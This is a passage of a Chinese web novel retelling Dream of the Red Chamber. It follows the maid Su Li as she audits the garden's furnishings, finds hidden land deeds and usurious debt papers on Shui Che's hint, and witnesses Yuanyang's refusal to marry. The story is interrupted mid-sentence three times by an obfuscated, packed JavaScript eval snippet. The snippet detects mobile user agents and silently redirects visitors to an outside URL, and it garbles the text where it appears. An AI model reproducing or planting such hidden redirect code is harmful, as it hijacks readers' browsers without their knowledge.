苏璃先去了正殿“顾恩思义”殿，对照账册，一一清点殿中的紫檀雕螭案、青绿古铜鼎、金雉彝等物。婆子们见是二奶奶身边的红人、如今兼管园账的璃姑娘，不敢怠慢，陪着小心。 清点完毕，苏璃状似无意地问道：“这殿里的东西，平日都是谁在打理？可有什么章程？” 一个婆子忙回道：“回姑娘话，平日是张材家的带着几个小丫头负责打扫拂尘，每月大查一次。若有移动，需得回明林之孝大爷。” 苏璃点点头，又去了几处主要楼阁，如潇湘馆、怡红院、蘅芜苑等，虽然此时无人居住，但一应陈设俱在。她仔细核对着账目，目光却敏锐地扫过各处角落，留意着可能存在的暗格、密室，或是与某些管事、婆子交接时流露的蛛丝马迹。 行至园中僻静处，见一小院门扉紧锁，似是堆放杂物的所在。苏璃问：“这里是？” 婆子答道：“这里是‘嘉荫堂’的后罩房，堆放些不常用的桌椅家什。” 苏璃记下地点，并未多问。她知道，有些秘密，就藏在最不起眼的地方。 傍晚回到账房，苏璃将今日清点的情况详细记录在案。她发现，账册记载与实物大致相符，但有些器物的摆放位置、新旧程度，与账目记录略有出入。这或许是日常损耗移动所致，但也可能是……有人做了手脚。 她正凝神思索，平儿悄悄进来，低声道：“妹妹，今日你去园子里，可还顺利？” 苏璃忙起身：“劳平儿姐姐惦记，一切顺利，器物与账目大致对得上。” 平儿点点头，压低声音：“顺利就好。只是有句话，姐姐得提醒你。园子里看着清静，实则眼杂。尤其是东府那边，珍大奶奶似乎对园子里的事颇为上心，你平日查验，还需谨慎些，莫要落了什么口实。” 苏璃心中凛然，平儿这是在提醒她，尤氏可能暗中盯着园子，甚至可能在园中安插了眼线！她感激道：“谢姐姐提点，妹妹记下了。” 平儿叹口气：“如今府里事多，奶奶心烦，咱们做事，更需仔细。园账的事，你多费心，但也不必太过操切，免得惹人注意。” “是，我明白。”苏璃应道。平儿的话，印证了她的猜测，这大观园，绝非清净之地，而是另一个暗流汹涌的战场。 夜深人静，苏璃独坐灯下，翻看着那本花样子册子。上面密密麻麻的符号，记录着府中的财务漏洞、人事关系、以及她暗中调查的线索。如今，又添上了大观园器玩的疑点和潜在的眼线。 兼管园账，是机遇，也是陷阱。她可以借此机会，深入贾府的核心腹地，探查秘密，发展势力。但同样，她也会暴露在更多人的目光之下，成为各方势力角逐的焦点。 下一步，该如何走？是继续谨慎调查，还是冒险接触某些关键人物？那个神秘的北静王四爷水澈，能否成为她破局的关键？他与贾府，究竟有何牵连？ 窗外的寒风呼啸而过，吹得窗纸噗噗作响。苏璃吹熄了灯，在黑暗中睁大眼睛。前路漫漫，危机四伏，但她已无退路。这盘棋，她必须下下去，为了那渺茫的生机，也为了……不甘沉沦的心。 41. 相处 兼管大观园器物账目，如同在苏璃本就紧绷的弦上，又加了一重担子，却也给了她更多辗转腾挪的空间。她每隔数日便需入园清点查验，逐渐熟悉了园中路径、屋舍布局，也与几个看守园子的婆子、负责洒扫的粗使丫头熟络起来。她出手大方，言语温和，从不苛责，很快便在园中仆役间赢得了“和气”、“讲理”的名声。这名声虽微不足道，却如同春日融雪，悄然浸润，为她日后可能的行事铺下了些许松软的土壤。 这日，她照例入园，循着账册，去“藕香榭”清点水阁内的陈设。藕香榭建在池中，有竹桥暗接，此时节荷花未开，水面清冷，唯有几丛枯荷残梗，在早春寒风中瑟瑟。苏璃带着个小丫头，刚踏上竹桥，便见榭中临水的美人靠上，竟坐着一个人。 那人背对着她，身着玄色暗纹锦袍，未戴冠，只以一根简单的白玉簪束发，身形挺拔，正望着池中残荷出神。虽是背影，但那疏淡冷峻的气度，苏璃绝不会认错——北静王府四爷，水澈。 他怎么会在这里？今日并非贾府宴客，他也未与宝玉同行。 苏璃脚步微顿，心中瞬间转过数个念头。避开？已然看见，未免失礼。上前请安？似乎又有些唐突。她正犹豫，水澈仿佛背后长了眼睛，头也未回，只淡淡道：“可是来清点器物的苏姑娘？” 苏璃定了定神，示意小丫头在桥头等候，自己缓步上前，在榭外台阶下敛衽行礼：“奴婢苏璃，见过四爷。不知四爷在此，多有打扰。” 水澈这才慢慢转过身来。早春清冷的光线透过窗格，落在他轮廓分明的脸上，那双深邃的眸子平静无波，看向她时，依旧带着那种洞察一切的锐利，却似乎少了些之前的疏离。 “无妨。”他语气平淡，“此处清静，我常来坐坐。你自便就是。” 苏璃应了声“是”，却并未立刻动作。水澈既在此，她若立刻埋头清点，未免显得刻意避嫌，反而不美。她略一沉吟，便站在原处，目光投向榭中陈设，似在核对账目，实则心神大半都留意着水澈的动静。 水澈也未再开口，只重新将目光投向池面。一时间，藕香榭内只闻风声水声，以及苏璃偶尔翻动账册的轻微声响。 过了片刻，水澈忽然开口，语气依旧平淡，仿佛只是闲谈：“这园子景致极佳，只是如今看来，未免有些冷清。” 苏璃心头微动，谨慎答道：“四爷说的是。如今园中尚无主子居住，自然不及省亲时热闹。” “热闹……”水澈唇角几不可察地弯了一下，那笑意未达眼底，“有时候，热闹未必是福。便如这园中草木，冬日蓄势，春日方能勃发。若冬日里便耗尽精神，恐怕春日也难有生机。” 这话似有所指！苏璃握着账册的手微微收紧。他是在说省亲的奢靡耗尽了贾府的元气吗？还是……在暗示什么？ 她抬起眼，看向水澈的侧影。他依旧望着池水，侧脸线条在光线下显得有些冷硬。“四爷高见。只是世间之事，往往身不由己。譬如这园中草木，何时开花，何时凋零，又何尝是自己能做主的？” 水澈终于转过目光，正眼看向她。那目光锐利如刀，仿佛要剖开她平静的表面，直抵内心。“草木虽不能自主，却知顺势而为。该蛰伏时蛰伏，该生长时生长。最忌的，便是逆势强求，耗尽根本。” 苏璃迎着他的目光，心头剧震。他这番话，已不仅是泛泛而谈，简直像是在对她耳提面命！他在提醒她，贾府已是强弩之末，不可依附太深？还是在告诫她，行事需顺势，不可操切？ 她深吸一口气，压下心中翻腾的思绪，低声道：“四爷教诲，奴婢铭记于心。只是奴婢人微言轻，所求不过安身立命，顺时守分罢了。” “安身立命……”水澈重复了一遍，目光在她清瘦却挺直的背脊上停留片刻，“在这府里，想要求个‘安身立命’，恐怕也非易事。琏二奶奶……近日可还安好？” 他终于问到了凤姐！苏璃心中一紧，面上却不敢有丝毫异样，只恭谨道：“二奶奶近日为府中事务操劳，偶有小恙，将养着便好。劳四爷挂心。” 水澈“嗯”了一声，不再追问，转而道：“你兼管园账，可还顺手？这园中器物繁多，账目琐碎，需得极细心。” 苏璃不知他为何突然问起这个，只得据实回答：“蒙二奶奶信任，奴婢自当尽心。园中器物皆有旧册可查，只需定期核对，防微杜渐，倒也并非难事。” “旧册可查……”水澈似是漫不经心地问，“可都齐全？有没有什么……未曾入册，或是记载模糊之物？” 苏璃心中警铃大作！他为何关心这个？难道他也知道贾府有“隐产”？还是，他在试探她？ 她强迫自己稳住心神，语气平稳：“回四爷，奴婢接手不久，目前核对下来，账册记载与实物大致相符。偶有陈设移动、损耗，皆按例登记在案。至于是否有未曾入册之物……奴婢职位低微，不敢妄言。” 水澈深深看了她一眼，那目光仿佛能穿透一切伪装。良久，他才移开视线，淡淡道：“没有便好。账目清楚，方是长久之道。”他顿了顿，似是无意般加了一句，“我听说，你们府上与‘粤海记’有些生意往来？” 苏璃的心猛地一跳！“粤海记”！这正是她暗中留意、试图建立联系的商号！水澈连这个都知道？他到底知道多少？ “是。”她声音愈发谨慎，“府中采买些海外奇珍，多由此号经办。” “粤海记的东家，与我家有些旧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950503|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谊。”水澈语气平淡，仿佛在说一件微不足道的小事，“其人虽重利，但还算守信。若有什么难处，或可一提。” 这话如同惊雷，在苏璃耳边炸响！他这是在……向她递出橄榄枝？还是另一个更深的陷阱？他为何要帮她？就因为觉得她“有点意思”？ 无数疑问涌上心头，她只觉得口干舌燥，一时竟不知该如何回应。 水澈却已站起身，掸了掸衣袖上并不存在的灰尘。“时辰不早，我该走了。你忙你的吧。”说罢，不再看她，径直向竹桥走去。 走过苏璃身边时，他脚步微顿，用只有两人能听到的声音，极轻地说了一句：“顺时而动，谋定后发。园中东南角，暖香坞旁的小库房，或可一看。” 话音落下，人已翩然远去，玄色的身影很快消失在竹桥尽头。 苏璃僵立在原地，只觉一股寒意混合着难以言喻的悸动，从脚底直冲头顶。他最后那句话，是什么意思？暖香坞旁的小库房……那里藏着什么？他又为何要告诉她？ 她猛地想起林之孝提到的“不能动的黑钱”，想起账册上那些模糊的记载，想起凤姐焦头烂额的困境……一个大胆而可怕的猜测，逐渐在她心中成形。 水澈，这位看似冷眼旁观的王府庶子，对贾府内部的隐秘，恐怕知之甚深。他今日这番话，看似偶然，实则处处机锋。他提醒她顺势而为，点出凤姐处境，提及“粤海记”的人脉，最后，更是抛出了一个具体的地点线索。 这绝非寻常的闲谈。这是一种极为隐晦的……合作邀约？还是一种更复杂的利用？ 苏璃心乱如麻。她知道，自己正站在一个至关重要的十字路口。水澈提供的，可能是一条窥见贾府核心秘密、甚至攫取资源的捷径，但也可能是一条万劫不复的险途。这个男人太深不可测，他的动机、他的目的，她一概不知。 然而，她还有别的选择吗？仅凭她自己，在这深宅大院中暗中摸索，想要积累足够的资本和力量，谈何容易？水澈的出现，或许是危机，但也可能是她唯一的转机。 她在藕香榭中站了许久，直到寒意浸透衣衫，才缓缓回过神来。她看了一眼手中紧握的账册，又望了望水澈消失的方向，眼神逐渐变得坚定。 无论如何，暖香坞旁的小库房，她必须去探一探。这或许是验证水澈意图、也是揭开贾府隐秘的关键一步。 她转身，对桥头等候的小丫头平静道：“我们去下一处，蘅芜苑。”声音已然恢复了惯常的沉稳，只是袖中微微颤抖的手指，泄露了她内心远非表面那般平静。 池中枯荷在风中轻轻摇曳，仿佛预示着，这看似沉寂的早春园囿，即将因某些人的悄然行动，而泛起新的、无人能料的波澜。 42. 生情 自藕香榭那番云遮雾绕的谈话后，水澈最后留下的那句“暖香坞旁的小库房，或可一看”，便如同投入苏璃心湖的一颗石子，激起的涟漪久久不能平息。那不仅仅是一个地点，更是一个信号，一个来自那个身份莫测、心思难辨的王府庶子的、意味深长的信号。 苏璃反复咀嚼着水澈的话。“顺时而动，谋定后发”——这是告诫她不可操切。“粤海记的东家，与我家有些旧谊”——这是递出了一条可能的人脉。“暖香坞旁的小库房”——这是一个具体的、充满诱惑与危险的目标。 他究竟想做什么？试探？利用？还是……某种形式的合作？苏璃想不明白。但她知道，自己不能轻举妄动。水澈的每一句话都可能暗藏机锋，每一步都可能是个陷阱。她必须更加谨慎。 然而，好奇与对破局机会的渴望，如同藤蔓般在她心底滋生。暖香坞，位于大观园东南，临近省亲别墅正殿，是一处小巧精致的院落，省亲时曾短暂用作女眷歇息之所，平日少有人至。旁边的小库房，她上次清点时曾路过，门上一把旧锁，婆子说是堆放些废弃不用的旧家具、幔帐等物，并未在意。 如今想来，这“不在意”本身，或许就是一种掩护。 她按捺下立刻去探查的冲动，依旧如常处理账房事务，定期入园清点。只是在路过暖香坞附近时，会格外留意那小库房的动静。她发现，看守园子的婆子每日只早晚巡视一次，那小库房更是从不上锁，也无人问津，仿佛已被彻底遗忘。 时机，需要等待。 这日，她刚从园中核对了几处账目回来，路过穿堂时，隐约听见两个小丫头在角落里嘀嘀咕咕。一个道：“……你听说了吗？东府那边，珍大奶奶这几日身上不大好，请医问药的，折腾得够呛。” 另一个接口：“怎么没听说！还不是为了蓉大奶奶的丧事，还有省亲时那些开销，累着了呗！我听说，珍大爷为了填补窟窿，在外头……” 声音忽然低了下去，苏璃只模糊听到“印子钱”、“利滚利”几个字眼，心中猛地一沉。贾珍居然在外面放印子钱？这可是犯禁的勾当！若此事为真，一旦泄露，便是大祸！ 她脚步未停，仿佛未曾听见，心中却已翻江倒海。贾府的危机，比她想象的还要深重，不仅内囊空虚，竟已开始涉足这等危险营生！难怪凤姐挪用祭田银子，贾珍不闻不问，只怕他自己也泥菩萨过江！ 正思忖间，忽见平儿从那边过来，脸色有些不好看。苏璃忙迎上去：“平儿姐姐，怎么了？” 平儿见是她，叹了口气，低声道：“还不是为了银子的事！前儿庄子上来缴租子，比往年又短了两成。二爷在外头应酬，又要支一笔银子，数目不小，奶奶那里……唉，正为难呢。” 苏璃默然。贾琏琏的花销是个无底洞，凤姐纵有千般手段，也填不满。她犹豫了一下，试探道：“姐姐，我前儿听人说，东府珍大爷那边，似乎也有些……” 平儿迅速看了她一眼，眼神里带着警告：“妹妹，咱们西府的事还管不过来呢，东府的事，少听少问。”话虽如此，她眉宇间的忧色却更深了。 苏璃会意，不再多言。平儿的反应证实了她的猜测，东西两府都已到了山穷水尽的地步，只是在勉力维持表面的光鲜。 接下来的几日，苏璃更加留意府中各处的风吹草动。她发现，来旺家的往凤姐房里跑得更勤了，有时还带着些生面孔的媳妇。林之孝也常常眉头紧锁，与凤姐密谈的时间越来越长。一种山雨欲来的压抑气氛，在荣国府上空悄然弥漫。 这日午后，天空阴沉，飘起了细细的雨丝。苏璃照例去园中清点，特意绕到暖香坞附近。雨中的园子格外寂静，看守的婆子也躲到了屋里。她见四下无人，迅速闪到那小库房前。 门上的锁果然虚挂着，一推就开。库房内光线昏暗，弥漫着一股陈年灰尘和木头霉变的气味。借着门缝透进的微光，可以看到里面确实堆放着一些破损的桌椅、卷起的旧毡毯、以及一些看不清模样的杂物，凌乱不堪，似乎久未有人整理。 苏璃的心跳有些加快。她轻轻掩上门，适应了一下黑暗，开始仔细查看。她不敢点灯，只能借着微弱的光线摸索。家具都是寻常之物，幔帐也已陈旧。她有些失望，难道水澈只是随口一说？或者，秘密不在这里？ 她不死心，继续向里走。库房最里面堆着几个大樟木箱子，上面落满了厚厚的灰尘。她试着推了推，很沉。箱子上挂着锁，但锁扣已经锈蚀。她环顾四周，找到一根废弃的桌腿，用力撬了几下，“咔哒”一声，锁扣竟被撬开了。 她屏住呼吸，轻轻掀开箱盖。里面并非她预想的金银珠宝，而是一卷卷用油布包裹得严严实实的东西。她解开油布，展开一角，借着门缝的光仔细辨认——竟是地契！而且是京城周边几处上好田庄、商铺的地契！其中一些，她从未在府中明面的账册上见过！ 她心中巨震，连忙又打开旁边一个箱子，里面是厚厚一叠借据、当票，还有几本用特殊符号标记的账册。她快速翻看，借据上的金额令人咋舌，利息高得惊人，有些借款方赫然是京城有名的赌坊、暗窑！而当票所当之物，不乏御赐之物、祖传珍宝！那账册上记录的，则是一些隐秘的银钱往来，数额巨大，去向不明！ 苏璃的手微微发抖。这就是林之孝所说的“不能动的黑钱”，或者说，是贾府见不得光的财产和债务！它们被隐匿在这里，成了填补府中巨大亏空的秘密来源，也是悬在贾府头顶的利剑！ 她强抑住狂跳的心，迅速将东西按原样包好，放回箱中，盖好箱盖，将锁扣勉强复原。然后，她退到门边，仔细检查了自己留下的痕迹，确认无误后，才轻轻拉开一条门缝，观察外面。 雨还在下，园中空无一人。她闪身出来，将门虚掩回原状，快步离开。直到走出很远，回到账房附近，她才感觉自己的心脏仍在剧烈跳动，后背已被冷汗浸湿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950504|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这些发现，证实了她的许多猜测，也让她更加看清了贾府华丽外表下的千疮百孔。然而，水澈为何要指引她发现这些？是为了让她知难而退？还是暗示她，可以从这些“黑钱”中寻找机会？ 她正心乱如麻，忽听外面小丫鬟道：“璃姑娘，二门上传来话，说北静王府遣人送了些东西给宝二爷，顺便……顺便给姑娘带了一包东西。” 苏璃一怔，水澈？给她东西？ 她走到廊下，只见一个眼生的小厮，恭敬地递上一个用普通青布包裹的、书本大小的物件。“四爷说，前日在府上叨扰，见姑娘忙于账目，甚是辛劳。此乃铺子里新出的算经注解，或对姑娘有所助益，聊表谢意。” 苏璃接过，入手微沉。她道了谢，打赏了那小厮。回到房中，她解开青布，里面果然是一本崭新的《九章算术注》，纸张墨色都是上乘。她翻开书页，并无任何夹带或字迹。这真的只是一本算经？ 她不死心，仔细翻检，终于在书脊内侧的接缝处，发现了一行用极细的墨笔写下的小字，若非仔细查看，绝难发现。那字迹瘦劲冷峻，正是水澈的手笔： “风起于青萍之末。暖香坞湿冷，易生霉蛀，当勤拂拭。” 苏璃盯着这行字，指尖冰凉，心头却有一股奇异的暖流涌过。他果然知道！他知道她去了暖香坞，发现了秘密！这行字，是提醒，也是告诫。“风起于青萍之末”——暗流已起，需得小心。“暖香坞湿冷，易生霉蛀”——那些见不得光的东西（黑钱债务）如同霉蛀，危险且会蔓延。“当勤拂拭”——要小心处理，不留痕迹。 他没有戳破，没有质问，而是用这种方式，给了她一个隐晦的回应和提醒。这是一种心照不宣的默契，也是一种……难以言喻的牵连。 苏璃将书紧紧抱在胸前，靠在冰冷的墙壁上。窗外雨声淅沥，敲打着屋檐。她的心，却比这春雨更加纷乱。水澈，这个神秘、危险、却又洞察一切的男人，他究竟想从她这里得到什么？而她，又该如何面对这份突如其来的、带着试探与警告的……关注？ 她说不清自己对水澈是何感觉。警惕？是的，他深不可测。畏惧？也有，他掌握着她难以想象的力量和秘密。但除此之外，似乎还有一种极其微弱、却又无法忽视的……悸动。在他那双仿佛能看透一切的眼睛里，她感觉自己不再是荣国府里一个微不足道的、挣扎求存的丫鬟，而是一个被他看见、甚至……被他认真对待的、独立的个体。 这种认知，让她在无边的孤寂与压力中，感受到了一丝奇异的慰藉，却也让她更加惶恐不安。前路迷雾重重，而水澈，究竟是迷雾中的灯塔，还是另一重更深的迷障？ 她不知道。但她知道，从发现暖香坞秘密的那一刻起，从收到这本《九章算术注》开始，她与那个玄衣冷峻的男子之间，已经有了一条看不见的线。这条线，可能将她引向新生，也可能将她拖入万劫不复的深渊。而她已经，无法回头了。 43. 鸳鸯抗婚 暖香坞的秘密与那本暗藏玄机的《九章算术注》，如同两块沉重的巨石压在苏璃心头。水澈的警告犹在耳畔——“风起于青萍之末”。 她知道，贾府这潭看似平静的死水，随时可能因某个不为人知的裂隙而掀起滔天巨浪。她行事愈发谨慎，除了按部就班处理账房和园中事务，便是暗中留意府中银钱往来的细微流向，试图从那些错综复杂的账目和“黑钱”借据中，理出更多头绪。 然而，树欲静而风不止。府中另一场风波，正以出乎所有人意料的方式，骤然掀起。 这日清晨，苏璃刚在账房坐下，便见小丫头们三五成群，交头接耳，神色间带着难以掩饰的惊诧与兴奋。平儿脸色铁青地走进来，对苏璃低声道：“快去老太太房里伺候着，出大事了！” 苏璃心头一紧，忙问：“平儿姐姐，怎么了？” 平儿咬着唇，眼中带着怒意，又有些悲凉：“还不是大老爷！真是越老越荒唐了！竟看上了老太太屋里的鸳鸯，要讨了去做小！鸳鸯不肯，在老太太跟前铰了头发，发了毒誓，如今正闹得不可开交！” 鸳鸯抗婚！苏璃脑中“嗡”的一声。原著的惊心动魄，竟在这个节骨眼上发生了！她立刻意识到，这绝非简单的逼婚事件。 贾赦身为荣国府长房长子，袭着一等将军的爵位，却贪花好色，昏聩无能，如今竟将手伸向了贾母身边最得力、也最受信任的大丫鬟鸳鸯。 这背后，恐怕不止是色欲熏心，更有着对贾母手中权势、财力的试探与觊觎！鸳鸯是贾母的“总钥匙”，掌管着贾母的私房体己，贾赦此举，无异于直接挑战贾母的权威，更是将长房与二房、与贾母之间的矛盾彻底摆上了台面。 “老太太如何说？”苏璃急问。 “老太太气得浑身乱颤，正搂着鸳鸯心肝肉儿地哭呢！把大老爷叫来，痛骂了一顿！大太太也在跟前，没讨着好。如今二奶奶、太太、姨太太、姑娘们都在那边劝着。”平儿语速极快，“妹妹快去，这里我先看着。小心些，这会儿老太太正在气头上，谁的话也听不进，你只安静伺候着，见机行事。” 苏璃不敢耽搁，立刻赶往贾母的上房。还未进门，便听见里面一片混乱的哭声、骂声和劝解声。 贾母歪在榻上，搂着跪在脚边、鬓边散乱、地上还落着一绺断发的鸳鸯，哭得老泪纵横：“我统共就这么一个可靠的人，你们还要来算计！我还没死呢，就容不下我身边的人了？打量着弄开了她，好摆布我这老婆子是不是？” 邢夫人垂手站在一旁，脸色红一阵白一阵，勉强赔笑：“老太太息怒，老爷他……他也是看重鸳鸯这丫头稳重妥当，想着……” “想着什么？”贾母厉声打断，“想着把她弄了去，好把我的箱笼也一并搬空了去？你们打量我是瞎子、聋子，不知道你们那些算计？鸳鸯跟了我一辈子，我离了她，饭也吃不香，觉也睡不稳！你们今□□死了她，明日就逼死我罢！” 王夫人、薛姨妈、李纨等人连忙上前劝慰。凤姐站在贾母身侧，一边替贾母顺气，一边用帕子拭泪，话里却绵里藏针：“老祖宗快别气了，仔细身子。大老爷也是糊涂了，鸳鸯妹妹是老祖宗调理出来的人，品格儿模样儿，府里谁不敬着？大老爷也是爱她的好处，只是这事……也太仓促了些，没得唐突了老祖宗和鸳鸯妹妹。” 贾赦早已被贾母骂得狗血淋头，灰头土脸地退了出去，此时只在门外听着，不敢再进来触霉头。 鸳鸯伏在贾母膝上，哭得声嘶力竭，断断续续地发着誓：“……我是横了心的！当着老太太在这里，我这一辈子，别说是‘宝玉’，就是‘宝金’、‘宝银’、‘宝天王’、‘宝皇帝’，我也不会嫁！我若说一句假话，天打雷劈，不得好死！就是老太太逼着我，我一刀抹死了，也不能从命！伏侍老太太归了西，我也不跟着老子娘哥哥嫂子去，或是寻死，或是剪了头发当尼姑去！若说我不是真心，天地鬼神、日头月亮照着，从嗓子里头长疔，烂了出来……” 字字泣血，句句决绝。满屋子的人无不听得动容变色。王夫人、薛姨妈都落下泪来。便是凤姐，也收了那惯常的伶俐口齿，只默默垂泪。 苏璃悄悄站在角落里，看着这混乱而悲壮的一幕。鸳鸯的刚烈决绝，贾母的愤怒与悲哀，邢夫人的尴尬，王夫人的无奈，凤姐的机变……众人的面目在这剧烈的冲突下纤毫毕现。 她心中亦是翻腾不已。鸳鸯此举，固然是绝境中的反抗，但何尝不是彻底断了自己的后路？经此一事，她在贾府，在贾母心中的地位固然稳如磐石，但也成了贾赦、邢夫人一房的眼中钉、肉中刺。贾母在时，自然无人敢动她；可贾母一旦百年之后呢？ 更让苏璃感到寒意的是，贾赦身为家主，竟如此荒唐昏聩，为了一己私欲，不惜与嫡母撕破脸皮。这贾府的内里，已经从根子上烂了。长房二房明争暗斗，妯娌之间各怀鬼胎，主子们只知享乐挥霍，危机已如黑云压城，他们却还在为着一个丫鬟斗得不可开交。 这场闹剧，直到贾母哭得乏了，众人才劝着歇下。鸳鸯被琥珀、珍珠等大丫鬟扶回自己房中歇息，众人也各自散去，但空气中弥漫的那种紧张、悲哀与不安，却久久不散。 苏璃回到账房，心中仍是难以平静。平儿也已回来，面色沉重，低声道：“你都看见了？这府里……越发不像样了。” 苏璃默然点头，半晌才道：“鸳鸯姐姐……以后的日子，怕是不好过。” 平儿冷笑：“何止不好过。大老爷那人，最是心胸狭窄，今日在老太太那里折了面子，岂能善罢甘休？明着不敢动，暗地里还不知要使什么绊子。鸳鸯也是……太烈性了些。” “不烈性，又能如何？”苏璃轻声道，“难道真由着他们摆布？” 平儿叹了口气，不再说话。两人相对无言，账房内一片沉寂，只听见窗外风吹枯枝的飒飒声响。 傍晚时分，苏璃正在核对一份庄子上送来的年例单子，忽见一个小丫鬟探头进来，小声道：“璃姑娘，鸳鸯姐姐请你过去一趟，说是有话要说。” 苏璃微怔。她与鸳鸯虽同在贾母院中当差过，但交情不算深厚。此时鸳鸯找她，所为何事？她心中疑惑，但还是放下账本，对平儿说了一声，便往鸳鸯住处去了。 鸳鸯住在贾母后院的一间小厢房里。苏璃进去时，只见她独自坐在窗下，发髻已重新梳拢整齐，用一根素银簪子绾着，身上换了件半旧的青缎夹袄，脸上泪痕已干，只眼圈还有些红肿，神色却异常平静，甚至带着一种尘埃落定后的漠然。 “璃姑娘来了，坐。”鸳鸯的声音有些沙哑，却还算平稳。 苏璃依言坐下，轻声道：“姐姐找我？” 鸳鸯抬眼看着她，目光锐利而疲惫：“今日的事，你都看见了。” 苏璃点点头。 “我叫你来，没别的事。”鸳鸯缓缓道，手指无意识地摩挲着腕上一只褪了色的银镯子，“只是有几句话，想托付你。” 苏璃心头一凛：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987314|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐姐请讲。” “我今日当着老太太、太太、奶奶姑娘们的面，发了那样的毒誓，这辈子，是绝了嫁人的念想了。”鸳鸯的声音很轻，却字字清晰，“我只求跟在老太太身边，尽心服侍，了此残生。可我也知道，经了今日之事，大老爷、大太太那边，算是彻底得罪了。老太太在，我自然无事；可老太太年事已高，万一……万一有个山高水低，我这无依无靠的，只怕……” 她顿了顿，眼中闪过一丝深切的悲凉与决绝：“我是不怕死的。可我若不明不白地死了，或是被胡乱配了人，我一生的名声，我今日的志气，岂不都成了笑话？所以，我今日叫你来，是想请你……日后若有机会，在我力不能及、或遭了暗算之时，能看在同是伺候过老太太的份上，将我的处境，我的结局，设法透露给二奶奶，或者……林姑娘、宝二爷知道。不求他们救我，只求给我一个明白，留一点身后之名。” 苏璃听着，心中震动不已。鸳鸯这是在做最坏的打算，在托付“后事”！她将这份沉重的信任，给了自己这个并不算亲近的旧日同伴。 “姐姐何出此言？老太太定能长命百岁……” “不必安慰我。”鸳鸯打断她，露出一丝苦涩的笑意，“这府里的事，我比你清楚。烈火烹油，鲜花着锦，底下早已是空的。我今日抗婚，撕破了脸，也把自己逼上了绝路。我不后悔，只是……总要留个后手。我看得出来，你是个心里有数、行事稳妥的，所以才贸然相托。” 她看着苏璃，目光灼灼：“你也不必立刻答应。兹事体大，牵连甚广，你若不情愿，我绝不怨你，只当今日未曾说过这话。” 苏璃沉默了。她知道答应下来意味着什么，可能卷入更深的漩涡。但看着鸳鸯那决绝而悲凉的眼神，想到她今日宁折不弯的刚烈，同是身为女子、身处这深深庭院的无奈与挣扎，一股热血与酸楚涌上心头。 “姐姐信我，我必不负所托。”苏璃听见自己的声音，清晰而坚定，“只要我力所能及，定不会让姐姐不明不白。” 鸳鸯盯着她看了许久，眼中渐渐泛起泪光，但很快又被她逼了回去。她深吸一口气，从枕下摸出一个小小的、不起眼的灰布荷包，递给苏璃：“这个，你替我收着。不是什么值钱东西，只是我的一点念想。若我真有……那一天，你设法将它交给老太太，或者，交给一个明白人。” 苏璃接过荷包，入手很轻。她没有打开看，郑重地收入怀中。“姐姐放心。” 鸳鸯似乎了却了一桩心事，神色松弛了些，又恢复了几分往日的精明利落：“今日之事，看似是冲着我，实则是冲着老太太的体己，冲着这府里的风向。你如今在二奶奶跟前，又管着账，眼睛要亮些，耳朵要灵些。这府里……怕是要不太平了。” 苏璃心中凛然，点头道：“我明白，多谢姐姐提点。” 从鸳鸯处出来，天色已晚。寒风卷着落叶，在廊下打着旋。苏璃怀中揣着那只轻飘飘的荷包，却觉得有千钧之重。鸳鸯的抗争，如同一面镜子，映照出这深宅大院中女子命运的残酷与无奈，也让她更加看清了这华厦将倾前的裂痕与危机。 而鸳鸯的托付，更像是一道无声的枷锁，将她与这座府邸、与这些人的命运，更紧地捆绑在一起。前路，似乎更加迷雾重重，也似乎……隐约有了一点必须守护的东西。她抬头望了望晦暗的天空，深深吸了一口冰冷的空气，朝着账房的方向，稳步走去。那里，还有无数的账册与秘密，在等待着她去厘清，去面对。 44. 凤姐的依赖 鸳鸯抗婚的风波，如同在荣国府这潭深水中投下巨石，涟漪久久难平。 贾母虽以雷霆之怒暂时压下了贾赦的妄念，保住了鸳鸯，但长房与二房之间、嫡母与长子之间那层本就脆弱的窗户纸，算是彻底捅破了。 府中上下，表面上噤若寒蝉，私下里却暗流涌动，人心惶惶。一种大厦将倾前的压抑与不安，弥漫在亭台楼阁之间。 经此一事，贾母对鸳鸯更是倚重，几乎寸步不离，连带着对凤姐这个能干的孙媳妇，也多了几分依赖与安抚。而凤姐，在经历了省亲的耗尽心血、秦可卿丧事的奢靡亏空、以及此番鸳鸯事件的惊心动魄之后，身心俱疲，那争强好胜的心气儿，似乎也被磨去了不少，眉宇间常带着一股掩饰不住的憔悴与力不从心。 